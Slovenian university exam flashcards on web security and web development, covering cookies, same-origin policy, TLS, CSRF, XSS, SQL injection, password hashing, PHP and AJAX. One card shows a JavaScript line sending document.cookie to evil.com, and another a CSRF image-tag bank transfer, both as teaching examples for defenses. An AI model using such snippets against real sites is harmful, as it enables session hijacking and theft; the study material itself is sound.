2.kolokvij Flashcards

(98 cards)

1
Q

Cilji spletne varnosti

A

Varno brskanje po spletu
 Možnost obiska spletnega mesta (vključno z zlonamernimi) brez škode
 Spletno mesto A ne more ukrasti podatkov iz vaše naprave, namestiti zlonamerne programske opreme, dostopati do kamere itd.
 Spletno mesto A ne more vplivati na sejo spletne strani B ali prisluškovati spletni strani B
 Poudarjanje varnosti spletnih aplikacij
Spletne aplikacije (npr. Zoom) bi morale imeti enake ali boljše varnostne lastnosti kot domorodne aplikacije

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

Modeli napadov

A

Zlonamerna spletna stran
Zlonamerni zunanji vir
Mrežni napadalec
Napadalec s škodljivo kodo

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

Metode HTTP

A

 GET naj ne bi spreminjal stanja strežnika
 v praksi se tega nekateri strežniki ne držijo
 Stari brskalniki ne podpirajo PUT, PATCH, DELETE
 Večina zahtev s „stranskim učinkom“ je danes POST
 Resnična metoda se skriva v glavi ali telesu zahteve

Za operacije, ki spreminjajo stanje na strežniku (kot je prenos denarja), je priporočljivo uporabiti metodo POST ali druge ustrezne metode (PUT, PATCH, DELETE), da bi se izognili nesporazumom in zagotovili, da so te operacije zaščitene in niso ranljive za napade (npr. napadi s ponovnim pošiljanjem zahteve - replay attacks).

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

HTTP in spletne strani

A

 Ko naložite spletno mesto, vaš spletni brskalnik pošlje zahtevo GET na to spletno
mesto

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

Nalaganje virov

A

 Korenska HTML stran lahko vključuje dodatne vire, kot so slike, video posnetki,
pisave
 Po razčlenjevanju (parsing) strani HTML brskalnik zahteva te dodatne vire

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

Zunanji viri

A

 Nobenih omejitev ni, kam se lahko naložijo viri, kot so slike
 Nič ne preprečuje, da se vključijo slike iz druge domene

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

(i)frames

A

 Poleg nalaganja posameznih virov lahko
spletna mesta naložijo tudi druga spletna
mesta v svojem oknu
 frame: toga vidna pregrada
 iframe: plavajoči vrstni okvir (inline frame)
 Omogoča delegiranje območja zaslona
vsebini iz drugega vira (npr. oglasa)

<iframe></iframe>

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

Javascript

A

 Zgodovinsko je bila vsebina HTML statična ali ustvarjena s strani strežnika in
vrnjena spletnemu brskalniku
 Danes spletna mesta ponujajo tudi skripte, ki se izvajajo v brskalniku
<button onclick=“alert(“The date is” + Date())”>
Click me to display Date and Time.
</button>
 Javascript lahko izvede dodatne spletne zahteve, manipulira s stranjo, bere
podatke brskalnika, lokalno strojno opremo, …

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

Document Object Model (DOM)

A

 Javascript lahko bere in spreminja strani z
interakcijo z DOM-om
 Objektno usmerjen vmesnik za branje / pisanje vsebine
strani
 Brskalnik zajema HTML -> strukturirani podatki (DOM)
<p id=“demo”></p>


document.getElementById(‘demo').innerHTML = Date()

Document Object Model (DOM) je vmesnik, ki omogoča JavaScriptu, da komunicira z vsebino spletne strani (HTML) in jo spreminja. Gre za hierarhično strukturo, ki predstavlja vse elemente na spletni strani (npr. besedilo, slike, povezave, oblike itd.) kot objekte, s katerimi lahko JavaScript interagira. DOM omogoča branje in spreminjanje teh elementov v realnem času.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

Osnovni model izvajanja

A

 Vsako okno brskalnika….
 naloži vsebino korenske strani
 razčleni HTML in zažene vključeni Javascript
 pridobi pod-vire (npr. slike, CSS, Javascript, iframes)
 se odziva na dogodke, kot so onClick, onMouseover, onLoad, setTimeout

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

Piškotki so vedno poslani

A

Piškotki, nastavljeni s strani določene domene, se vedno pošljejo za vsako zahtevo do te domene

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

problem
<img src=“https://banka.com/transfer?
fromAccount=X
&toAccount=Y
&amount=1000”></img>

A

Če strežnik na strani banka.com ne preverja pravilno zahteve, lahko ta zahteva sproži prenos denarja (ali drugo dejanje), ker so parametri za prenos v URL-ju.
Namesto slike se na strežnik pošlje zahteva za izvedbo transakcije, čeprav to ni bil namen uporabe img.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

Sodobne spletne strani

A

Domača stran LA Times vključuje 540 virov s skoraj 270 naslovov IP, 58 omrežij in 8 držav
CNN - najbolj priljubljeno spletno mesto z novicami - nalaga 361 virov
Mnoge od njih ne nadzorujejo glavna spletna mesta

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

Dostop tretjih oseb

A

 Če banka vključuje Google Analytics Javascript, ali lahko dostopa do piškotka za
preverjanje pristnosti vaše banke?
 da!
const img = document.createElement(“image”);
img.src = “https://evil.com/?cookies=” + document.cookie;
document.body.appendChild(img);

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

Piškotki HttpOnly

A

 Nastavitev lahko nastavimo tako, da API-ju Document.cookie preprečimo
dostop do piškotkov
 Preprečuje Google Analyticsu, da bi vam ukradel piškotek
 Brskalnik ga nikoli ne pošlje Googlu, ker se (google.com, /) ne ujema (banka.com, /)
 Piškotek ne more ga pridobiti Javascripta, ki deluje na banka.com

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

Varni piškotki

A

 Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
Secure;
 Varni piškotek se strežniku pošlje samo s šifrirano zahtevo prek protokola HTTPS.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
17
Q

Varna povezava – TLS / HTTPS

A

 Zakaj varovati povezavo?
 Možnosti:
 Prestrezanja
 Vrivanja
 Spreminjanja
 Varnostni protokoli
 TLS / SSL

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
18
Q

TLS – varna povezava

A

 Osnova spletne varnost
 Secure Sockets Layer (SSL)
 Razvil Netscape Corporation
 Različice 1, 2, and 3 (1996)
 Transport Layer Security (TLS)
 Naslednik protokola SSL
 IETF standardiziran
 Temelji na SSL 3.0
 Kriptografski (varnostni) protokol
 Varna komunikacija preko omrežij

Transport Layer Security (TLS) je kriptografski protokol, ki omogoča varno komunikacijo preko omrežij, predvsem na internetu. TLS zagotavlja šifriranje, preverjanje pristnosti in integriteto podatkov, kar je temelj za zaščito občutljivih informacij, kot so gesla, številke kreditnih kartic in osebni podatki.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
19
Q

HTTPS povsod

A

Ne drži:
 Kriptografija upočasnjuje spletne strežnike
 Ni več resnično
 Določeni ponudniki oglasov ne podpirajo HTTPS
 Ni združljiva z virtualnim gostovanjem (virtual hosting)
 Morda z zelo starimi različicami brskalnikov
Od julija 2018: Chrome označi strani s HTTP ko nevarne

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
20
Q

Ponarejeni certifikati

A

 2011: vdor v Comodo in DigiNotar CA-ja
 2013: TurkTrust izda certifikat za gmail.com
 2014: Indijski NIC (vmesni CA , ki mu zaupa korenski CA IndiaCCA) izda certifikate
za Google in Yahoo! Domene
 2016: WoSign (Kitajski CA) izda certifikat za domeni GitHub -> ni več na seznamu
zaupanja vrednih CA-jev v Chromeu in Firefoxu

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
21
Q

Mešana vsebina: HTTPS in HTTP

A

 Stran se naloži preko HTTPS, a deli se prenašajo preko HTTP
 <script src=“http://…/script.js>
 Možnost ugrabljanja seje

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
22
Q

Problemi s sejami

A

 Predvidljivi žetoni
 Števec ⇒ uporabnik se prijavi, dobi vrednost števca
Sejni žetoni morajo biti nepredvidljivi
* Uporaba uveljavljenih metod za generiranje
* Uporaba ogrodij in funkcij
 Kraja sej
 Mešanje HTTP in HTTPS vsebine
 XSS za krajo sej

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
23
Q

SOP

A

Same Origin Policy (SOP) za DOM:
 Izvor A lahko dostopa do DOM izvora B, če se ujemata v
(shema, domena, vrata)
SOP za piškotke:
 Temelji na: ([shema], domena, pot)
opcijsko

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
24
Q

Varnost piškotkov

A

 Uporaba:
 Overjanje uporabnika
 Personalizacija
 Sledenje uporabnikom
 Izvor je definiran kot par <domain, path>
 Mogoče je ustvariti piškotke, ki so veljavni na vseh straneh z enako domensko
končnico

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
25
Varni piškotki - secure
 Omogoča zaupnost pred napadalci  Brskalnik bo vrnil piškotek samo preko HTTPS  … ampak brez celovitosti  Možno spremeniti varne piškotke preko HTTP  napadalec lahko spremeni varne piškotke  lahko prijavi uporabnika v napadalčev račun
26
httpOnly piškotki
 Piškotek poslan preko HTTP(s), vendar ni dostopen prek skript.  ga ni mogoče brati preko document.cookie  Pomaga preprečiti krajo piškotkov preko XSS  … vendar ne prepreči groženj večine ostalih XSS hroščev
27
Seje
 Zaporedje zahtev in odgovorov iz enega brskalnika na eno (ali več) spletnih mest  Seja je lahko dolga (npr. Gmail) ali kratka  brez upravljanja (sej): uporabniki bi se morali nenehno ponovno overjati  Upravljanje seje: enkrat se pooblasti uporabnika;  Vse nadaljnje zahteve so vezane na overjenega uporabnika
28
Shranjevanje sejnih žetonov
 veliko možnosti (vendar nobena ni popolna) Brskalniški piškotek: Set-Cookie: SessionToken=fduhye63sfdb Vgraditi v vse URL povezave: https://stran.com/checkout ? SessionToken=kh7y3b V skritih poljih obrazcev:
29
Cross site request forgery – CSRF
 CSRF (Cross-Site Request Forgery) je vrsta spletnega napada, pri katerem napadalec izkoristi zaupanje, ki ga ima spletna aplikacija v brskalnik uporabnika. Napadalec lahko uporabnika prisili, da izvede nezaželene akcije na spletni strani, na katero je prijavljen, brez njegovega vedenja.  Na primer, če je uporabnik prijavljen v svojo spletno banko, lahko napadalec izvede transakcijo v njegovem imenu, če uporabnik obišče zlonamerno spletno stran. To se zgodi, ker brskalnik samodejno pošlje piškotke za preverjanje pristnosti, ne glede na to, od kod prihaja zahteva.  Za zaščito pred CSRF napadi se pogosto uporabljajo naslednje metode:  CSRF žetoni: Vsaka zahteva vključuje edinstven žeton, ki ga preveri strežnik.  Preverjanje refererja: Strežnik preveri, ali zahteva prihaja iz pričakovane strani.  SameSite piškotki: Piškotki so nastavljeni tako, da se pošiljajo samo, če zahteva prihaja iz iste domene.
30
Glava HTTP referer („napotilec“)
Referer razkrije URL sejni žeton tretjim osebam Preprečevanje referera:  Ni poslan, ko se stran HTTPS nanaša na HTTP stran  v HTML5:
31
Proces odjave
 Spletna mesta morajo zagotavljati funkcijo odjave:  Funkcionalnost: dovoli uporabniku, da se prijavi kot drug uporabnik  Varnost: preprečite drugim zlorabo računa  Kaj se zgodi med odjavo:  1. izbriše se sejni žeton (SessionToken) (na odjemalcu)  2. sejni žeton se označi kot pretekel (na strežniku)  Težava: številna spletna mesta izvedejo (1), ne pa tudi (2) !! ⇒ Še posebej tvegano za spletna mesta, ki uporabljajo HTTP po prijavi (in ne HTTPS)  Kaj če uporabnik sumi, da je njegova naprava ogrožena?  Prijava iz „sumljivega“ računalnika  Okužba z zlonamerno programsko opremo  Spletno mesto mora prikazati vse naprave, ki so trenutno prijavljene v uporabniški račun  Dovolimo uporabniku, da odstrani katerokoli neprepoznano napravo ⇒ označimo odstranjen sejni žeton kot pretečen (na strežniku)
32
Preverjanje gesel
 Sistem mora preveriti gesla, ki jih podajo uporabniki  Torej mora ta biti nekje shranjena  Osnovni način shranjevaje: izvorna oblika Težava: kraja gesla  Napadalci pogosto kompromitirajo sisteme (npr. vdor)  Datoteko z gesli je morda mogoče ukrasti  Linux: /etc/shadow  Windows: c:\windows\system32\config\sam  Kaj se zgodi, če so gesla shranjena kot besedilo?  Napadalec se lahko zdaj prijavi kot katerikoli uporabnik, vključno s skrbnikom (root ali adminstrator)  Gesla nikoli ne smejo biti shranjena v navadnem besedilu
33
Rešitev: Zgoščena gesla
 Ključna ideja: shranite zavarovane različice gesel  Uporabite kriptografske zgoščevalne funkcije  Primeri:  MD5 (128-bitna zgoščevalna funkcija) -> 32 znakov -> že razbita koda (pridobljena izvirna gesla)  Sha-1 (160-bitna zgoščevalna funkcija) -> 40 znakov -> že razbita koda (pridobljena izvirna gesla)  Sha256 (256-bitna zgoščevalna funkcija) -> 64 znakov  Sha512 (512-bitna zgoščevalna funkcija) -> 128 znakov
34
Napad na zgoščena gesla
 Ali so zgoščena gesla zavarovana pred razkritjem in hackanjem?  Ne!  Težava: uporabniki izbirajo slaba gesla  Najbolj pogosta so: 123456, password  Upor. ime: cbw, geslo: cbw  Slaba gesla omogočajo napade s slovarjem (ang. dictionary attacks)
35
Trenutni industrijski standardi za varno shranjevanje gesel
 Izvorna oblika ne  Šifrirana ne  Zgoščena  Sol / poper in zgostitev  Namenske zgoščevalne funkcije  PBKDF  bcrypt  Scrypt  Argon2
36
Utrjevanje zgoščenih gesel
 Ključna težava: kriptografske zgoščevalne funkcije so deterministične  hash(‘p4ssw0rd’) = hash(‘p4ssw0rd’)  To omogoča napadalcu, da si ustvari seznam zgoščenih vrednosti (gesel)  Rešitev: vsako zgoščeno geslo je potrebno narediti unikatno  Dodajmo „sol“ k vsakemu geslu pred zgostitvijo  hash(salt + password) = password hash  Vsak uporabnik ima unikatno in naključno sol  Sol je mogoče shranjevati v izvorni obliki
37
Razbijanje zgoščenih gesel
 Shranjena gesla naj bodo vedno soljena  Prisili napadalca, da uporabi tehniko surove sile na vsakem individualnem geslu  Težava: dandanes je mogoče kriptografske zgoščevalne vrednosti izračunavati zelo hitro  Optimizacija s pomočjo GPU-jev: veliko majhnih procesorskih jeder  nVidia GeForce GTX Titan Z: 5,760 jeder  GPU-je je mogoče najeti v oblačnih storitvah zelo poceni  2x GPU-ja za $0.65 na uro (cena iz leta 2014)
38
Utrjevanje soljenih gesel
 Težava: tipične zgoščevalne funkcije se izvajajo prehitro  Omogoča uporabo GPU-jev za napad s surovo silo  Rešitev: uporaba namenskih zgoščevalnih funkcij, ki se izvajajo počasi  Primeri: bcrypt, scrypt, PBKDF2, Argon2  Ti algoritmi vključujejo “delovni faktor (ang. Work factor)“, ki zveča kompleksnost izračuna  scrypt tudi zahteva velike količine pomnilnika v izračunih, kar še dodatno otežuje napad s surovo silo
39
Problem varnostni spletni aplikacij in storitev
 Kompleksnost spletni strani, storitev in aplikacij  Veliko možnosti napak (hroščev)  Človeški faktor (socialno inženirstvo)  Pogost motivator je denar  Črni trg ranljivosti  Črni trg prevzetih naprav in ukradenih podatkov -> veliko možnih načinov zaslužka
40
SQL vrivanje (injection)
 SQL vrivanje je ranljivost dinamične spletne aplikacije, kjer lahko napadalec spremeni SQL stavke v aplikaciji za upravljanje podatkov v podatkovni bazi. Napadalec lahko pridobi podatke drugih uporabnikov ali druge podatke, do katerih ima aplikacija dostop. Napadalec lahko tudi izbriše ali spremeni podatke.
41
Preprečevanje napadov
 Nikoli ne zaupamo uporabniškem vnosu (zlasti pri ukazih)  Nikoli ročno ne gradite ukazov SQL sami!  Obstajajo orodja za varno posredovanje uporabnikovih vnosov v PB:  Parametriziran (AKA pripravljen) SQL (prepared statements)  ORM (Object Relational Mapper) -> uporablja pred-pripravljeni SQL interno
42
Parametriziran SQL – rešitev za SQL vrivanje
 Parametriziran SQL omogoča ločeno pošiljanje poizvedb in argumentov strežniku – PHP POD $stmt = $db->prepare("INSERT INTO knjige(avtor, naslov) VALUES (:avtor, :naslov)"); $stmt->bindParam(':avtor', $avtor); $stmt->bindParam(':naslov', $naslov); $stmt->execute();  Prednost 1: Ni potrebe, da bi filtrirali nezaupne podatke - strežnik sam poskrbi za to  Prednost 2: Parametrizirane poizvedbe so hitrejše, ker strežnik predpomni načrt poizvedb
43
Lokacijsko prestopno skriptiranje - Cross Site Scripting (XSS)
 Napad se zgodi, ko aplikacija prejme nezaupljive podatke in jih pošlje v spletni brskalnik brez ustreznega preverjanja
44
Tipi XSS napadov
 Napadalec lahko vrine skriptno kodo na strani, ki jih ustvari spletna aplikacija.  Dva tipa:  Odsevni XSS (reflected) Napadalčeva skripta se uporabniku prikaže kot del „žrtvene“ spletne strani  Shranjen XSS (stored) Napadalec zlonamerne kodo shrani v vir, ki ga upravlja spletna aplikacija, na primer v PB
45
Odsevni tipa XSS
 Napadalec pošlje e-mail sporočilo žrtvam (uporabnikom PayPala), v katerem je URL, ki ga gosti legitimna spletna stran PayPal  Vrinjena koda obiskovalca PayPala preusmeri na stran, ki opozarja uporabnike, da so bili njihovi računi kompromitirani  V resnici so bile žrtve preusmerjene na lažno spletno stran in pozvane k vnosu občutljivih finančnih podatkov
46
Content Security Policy (CSP)
 CSP omogoča preprečevanje napadov XSS s pomočjo belih seznamov – seznam zaupanja vrednih virov  Brskalnik bo izvrševal samo skripte iz domen s seznama dovoljenih  ne bo vključil drugih skript (vključno z vgrajenimi skriptami in atributi HTML za obdelavo dogodkov)
47
CSP – Primer 1
Content-Security-Policy: default-src 'self‘  vsebino je mogoče naložiti samo z iste domene kot stran  noben vstavljeni ne bo izveden  noben ne bo izveden
48
CSP – Primer 2
Content-Security-Policy: default-src 'self'; img-src *; script-src cdn.jquery.com  vsebino je mogoče naložiti samo z iste domene kot stran, razen…  slike je mogoče naložiti iz katerega koli izvora  skripte je mogoče naložiti samo s cdn.jquery.com  noben vstavljeni ne bo izveden  noben ne bo izveden
49
HTML injection
 Omogoča vstavljanje določenih HTML značk  Zelo podoben XSS, ki omogoča tudi zagon JavaScript kode uporabimo htmlentities ki pretvori pretvori ne-html znake in jih potem pretvori nazaj
50
Ugrabitev seje
 Napadalec čaka, da se uporabnik prijavi  nato napadalec ukrade uporabnikov sejni žeton in s tem "ugrabi" sejo ⇒ napadalec lahko v imenu uporabnika izda samovoljne zahteve  Primeri: FireSheep  Firefox extension: ugrabi HTTP sejne žetone preko WiFi-ja  Rešitev: vedno pošiljamo sejne žetone prekop HTTPS
51
Kako pravilno ustvariti žeton?
Sejni žetoni morajo biti napadalcu nepredvidljivi Uporabimo ogrodje (npr. ASP, Tomcat, Rails) primer - Rails: žeton = SHA256 (trenutni čas, naključni nonce)
52
Pazite: kraja sejnih žetonov
 1. Primer: uporaba HTTP po prijavi preko HTTPS  Omogoča krajo piškotkov (npr. preko WiFi - Firesheep)  Drugi načini, kako lahko mrežni napadalec ukrade žeton:  Stran meša HTTPS/HTTP strani ⇒ žeton se pošlje preko HTTP  Man-in-the-middle napadi na TLS  2. Primer: koriščenje XSS-a  Ojačano s slabimi postopki odjave  Postopek odjave mora razveljaviti žeton na strežniku
53
Pomanjkljiv nadzor dostopa (Broken Access control)
 Pazite na dostopne pravice  Dostop do virov -> skrivanje virov  Dostop samo do virov, do katerih nekdo potrebuje dostop  Kako se zavarovati:  Privzeta zavrnitev dostopa (ang. Deny by default)  Ustrezno načrtovanje nadzora dostopa  Npr. uporaba matrike nadzora dostopa  Centraliziran nadzor dostopa  Princip najnižjih privilegijev dostopa (ang. Least privilege)  Penetracijsko testiranje / ročno testiranje
54
Razkrivanje občutljivih podatkov
 Ustrezno varovanje podatkov zaradi:  Družbena odgovornost za varovanje občutljivih podatkov  Uporaba enakih poverilnic na več mestih  GDPR-ja  Finančni podatki, osebni podatki, zdravstveni podatki, poverilnice,…  Kako se zavarovati:  Ne shranjujte podatkov, ki jih ne potrebujete  Ustrezno šifriranje (TLS)  Med prenosom  Med hrambo  Podatke razvrstite glede na pomembnost / občutljivost
55
Nepravilne varnostne nastavitve (Security Misconfiguration)
 Zelo pogosta napaka / ranljivost  Nepopolna / nepravilna implementacija kontrol  Ponovno problem privzetih gesel  Nepravilne nastavitve dovoljenj  Izpisi vsebine imenikov (ang. directory listing)  Nastavitvene / namestitvene strani  Kako se zavarovati:  Ročno testiranje  Nameščanje / vključevanje nujnih komponent  Bodite pazljivi pri oblačnih storitvah
56
Uporaba komponent z znanimi ranljivostmi
 Kako se zavarovati:  Seznam uporabljenih komponent  Uporaba preverjenih komponent iz preverjenih virov  Onemogočanje nepotrebnih možnosti  Spremljanje seznam obveščanja o ranljivostih  Princip: Plan – Patch – Config
57
Nepopolno overjanje (broken authentication)
 Nezadostno overjanje in pomanjkljivo upravljanje sej  Slaba ali pomanjkljivo upravljanje z gesli (password policy)  Tudi privzeta gesla  Kako se zavarovati:  Uporaba več-faznega overjanja  Ustrezna politika gesel – morda odprava?  Ustrezno upravljanje prijav  Npr. preprečitev prijave pri preveliki količini napačnih prijavnih podatkov  Upravljanje sej na strežniški strani  Ustrezen čas poteka prijave (ang. timeout)
58
Nezadostno beleženje in spremljanje
 Beleženje – dnevniki, dogajanje  Spremljanje (monitoring) – preverjanje dnevnikov  Zakaj beležiti?  V letu 2017 je bil povprečen čas med varnostnim incidentom in časom zavedanja, da se je nekaj zgodilo 6 mesecev  Vsaj vedeti moramo, da se je nekaj zgodilo
59
 Kdaj beležiti?
 Ko se zgodi kaj pomembnega – definicija praga  Napake pri prijavi  Brisanje podatkov  Sprememba gesel  …
60
Funkcije PHP za preverjanje vnosov
 odstranjevanje nepotrebnih znakov (presledki, enter, tabulatorji,...) trim($podatki);  odstranjevanje poševnic (backslashes) iz vnosa stripslashes($data);  odstranjevanje HTML oznak iz vnosa htmlspecialchars($data);  odstranjevanje posebnih (potencialno nevarnih) znakov iz vnosa (\x00, \n, \r, \, ', " and \x1a) mysql_real_escape_string($data);
61
Varnostno relevantne nastavitve
 display_errors = On | Off prikaz napak – v produkciji je potrebno prikazovanje napak obvezno onemogočiti  Druge uporabne nastavitve:  max_execution_time = integer  memory_limit = integer  open_basedir = string
62
CRUD
 Celostni primer uporabe CRUD:  CREATE  READ  UPDATE  DELETE
63
Preprost forum
 Preprost večjezični forum  Zapisane besede v več jezikih  Implementiran izključno v PHP-ju  Omogoča tudi:  Objavo novih tematik  Odgovor na tematike  Prijavo uporabnika  Registracijo uporabnika  Osnovne varnostne nastavitve
64
Regularni izrazi (regex)
 Regularni izraz je zaporedje znakov, ki določa vzorec ujemanja v besedilu.  https://regex101.com/  preverjanje, če smo napisali pravi regex  Email: /^[\w\-\.]+@([\w-]+\.)+[\w-]{2,4}$/  \w – besedni znaki (a-zA-Z0-9_)  \W – nebesedni znaki  \d – je števka (0-9)  \D – ni števka  \s – presledek (\n\r\t\f)  \S – ni presledka
65
PHP Mailer
 PHPMailer je knjižnica za varno in enostavno pošiljanje e-pošte prek kode PHP iz spletnega strežnika. Za pošiljanje potrebujemo SMTP protokol.
66
eCommerce
 Preprosta spletna rešitev za nakup slik  Implementiran izključno v PHP-ju  Omogoča tudi:  Ogled slik  Dodajanje slik v košarico  Dodajanje slik v trgovino
67
Generator QR kode - predpriprava
 Instalacija GD knjižnice za kreiranje slik v PHP:  https://www.geeksforgeeks.org/how-to-install-php-gd-in-windows/  V PHPInfo preverimo, če že obstaja “GD”  Če ne obstaja, v XAMPP -> Config -> php.ini odstranimo podpičje pri ;extension=gd.  Nato kopiramo iz xampp folderja (običajno ext) datoteko php_gd.dll v C:\Windows\System32  Restartamo XAMPP  Instalacija COMPOSERja  https://getcomposer.org/download/  Composer je orodje za upravljanje odvisnosti v PHP. Omogoča, da knjižnice, ki jih potrebujemo za projekt, deklarira (namesti/posodobi).  Ob instalaciji morate najti php.exe (običajno v xampp/php)
68
jQuery & AJAX
 jQuery je JavaScript knjižnica po principu “piši manj, naredi več”  Razvita je bila za hitrejši razvoj spletnih strani  JS: document.getElementById  jQuery: $("#id")  $ je bližnjica za dostop do jQuery
69
Sinhrona komunikacija
 Sinhrona komunikacija: uporabnik mora počakati, da se naloži nova stran  Tipičen vzorec komunikacija (click, wait, refresh)
70
Ajax – asinhrona komunikacija
 Ajax model spletne aplikacije:  Rezultati spreminjajo AJAX zahteve spremenijo le del spletne strani  JavaScript - podatki, formatiranje in oblikovanje
71
Prednosti / slabosti AJAXa
 Prednosti:  Boljša interaktivnost / odzivnost  Uporabniško bolj prijazna spletna stran  Manjša količina povezav do splet. Strežnika  Manjša poraba pasovne širine – selektivno nalaganje  Slabosti:  Neuporabnost gumbov „refresh“ in „back“  Onemogočeni zaznamki (bookmarking)  Obvezna uporaba JavaScripta  Zamik omrežja lahko vpliva na uporabnost
72
Tipični scenariji uporabe
 Autocomplete – iskalniki  Uporaba v specifičnih aplikacij (npr. hipno sporočanje)  Posodabljanje v realnem času (npr. športni rezultati)  Hipna validacija obrazcev  Samodejno shranjevanje uporabniških podatkov
73
AJAX komponente
 JavaScript  Klic funkcije, ki je posledica dogodka  Uporabimo lahko tudi jQuery knjižnico, ki običajno skrajša kodo  DOM  API za dostop do elementov HTML dokumenta (lahko dinamično spremenimo izgled spletne strani)  CSS  Uporaba za spreminjanje izgleda strani  XMLHttpRequest  JavaScript objekt za asinhrono interakcijo s strežnikom
74
Objekt XMLHttpRequest
 Na voljo od leta 2000 (IE 5.5)  API, ki ga lahko uporabi JavaScript, JScript, VBScript, …  Prenos in manipulacija podatkov v določenem formatu (npr XML) in prenos na ali iz strani spletne strežnika s pomočjo protokola HTTP  Vzpostavi povezave med odjemalcev in strežnikom  Uporabimo lahko tudi druge formate razen XML, npr. JSON ali celo gole tekstualne podatke  Izvede naslednje operacije:  Pošilja podatke s strani odjemalca (v ozadju)  Prejema podatke s strani strežnika  Posodobi spletni stran brez ponovnega nalaganja
75
jQuery in AJAX
 Uporaba AJAXa (Asynchronous JavaScript and XML) je enostavnejša z APIjem jQuery, ki deluje na več brskalnikih  jQuery ponuja več metod za podporo Ajax funkcionalnostim.  Ajax (Asynchronous JavaScript and XML) je namenjen nalaganju podatkov v ozadju in prikazu le-teh na spletni strani, brez ponovnega nalaganja strani.  Podpora Ajaxu brez jQuery knjižnice je lahko težavna zaradi nekompatibilnosti med brskalniki
76
jQuery in AJAX - metode
 Pomembnejše metode: https://www.w3schools.com/jquery/jquery_ref_ajax.asp  get – pridobi podatke iz strežnika (get zahtevek),  post – pridobi podatke iz strežnika (post zahtevek),  load – pridobi podatke iz strežnika in jih prikaže v HTML elementu,  getJSON – pridobi podatke iz strežnika v JSON format  ajax – izvede asinhrono AJAX zahtevo (krovna and ostalimi)
77
jQuery in AJAX - parametri
 Pomembnejši parametri:  url – naslov spletne storitve (default: trenutna stran)  method – HTTP metoda za zahtevo (POST, GET, PUT,…)  (default: GET)  type – alias za method, uporablja se pri jQuery <1.9.0  data – podatki, ki jih pošiljamo na strežnik  dataType – tip podatkov, ki jih pričakujemo od strežnika  (default: samodejno ugotavljanje (xml, json, script ali html))  success – callback funkcija, ki se izvede ob uspešni zahtevi  error – callback funkcija, ki se izvede ob neuspešni zahtevi  xhr – vsebuje XMLHttpRequest objekt
78
jQuery in AJAX
 Osnovna oblika Ajax klica: metoda $.ajax()  Vse jQuery AJAX metode jo uporabljajo. To uporabimo, ko ne moremo uporabiti drugih metod.  Metoda $(…).load(url, data, data/status/xhr)  Izberemo selektor, v katerem se bo prikazala vsebina prejete datoteke  Metoda $.get(url, data, data/status/xhr, datatype)  pridobi podatke iz strežnika (get zahtevek)  Metoda $.post(url, data, data/status/xhr, datatype)  pridobi podatke iz strežnika (post zahtevek)  Metoda $.getJSON(url, data, data/status/xhr)  Pridobi JSON podatke iz strežnika s pomočjo HTTP GET zahteve
79
API - Application Programming Interface
 API / aplikacijski programski vmesnik je način medsebojnega komuniciranja dveh ali več računalniških programov.  Spletni vmesnik je za ljudi, API je za računalnike.  Primer:  Google Maps API, ki omogoča aplikacijam, da vključujejo zemljevide in navigacijo v svoje aplikacije.  Random User:  https://randomuser.me/: generira naključnega uporabniku  https://randomuser.me/api: v golem tekstu dobimo podatke o naključnem uporabniku
80
JSON
 JSON (JavaScript Object Notation) je format za izmenjavo podatkov.  Ljudje ga lahko enostavno berejo in pišejo. Računalniki ga zlahka razčlenijo in ustvarijo.  JSON je besedilni format, ki je popolnoma neodvisen od jezika, vendar uporablja konvencije, ki jih poznajo programerji jezikov družine C, vključno s C, C++, C#, Java, JavaScript, Perl, Python in številni drugi.  Zaradi teh lastnosti je JSON idealen jezik za izmenjavo podatkov.  Je zapisan v obliki ključ-vrednost parov.
81
Vključitev knjižnic
 Knjižnica https://randomuser.me/api - izpis naključnega izmišljenega uporabnika  file_get_contents: https://www.php.net/manual/en/function.file-getcontents.php  Pridobitev podatkov, vendar je pogosteje uporabljen cURL  json_decode pretvori niz v PHP vrednosti: https://www.php.net/manual/en/function.json-decode.php  Knjižnica https://api.agify.io – izračun starosti uporabnika
82
Klasični primer zahteve-odgovora
 Primer: uporabljamo aplikacijo za rezervacijo predstave  ta aplikacija očitno potrebuje veliko vhodnih podatkov, saj podatki v aplikaciji nikoli niso statični  bodisi gre za filme, ki pogosto izidejo, bodisi za različna mesta, kjer ob različnih urah dneva predvajajo filme v različnih jezikih  podatki v teh aplikacijah se vedno spreminjajo  Od kod dobimo podatke?  prejmemo jih od (spletnega) strežnika  Odjemalec torej od strežnika zahteva podatke, nato pa strežnik odjemalcu pošlje odgovor  V tem primeru je odgovor, poslan odjemalcu, v obliki spletne strani HTML
83
Potreba po vmesniku REST
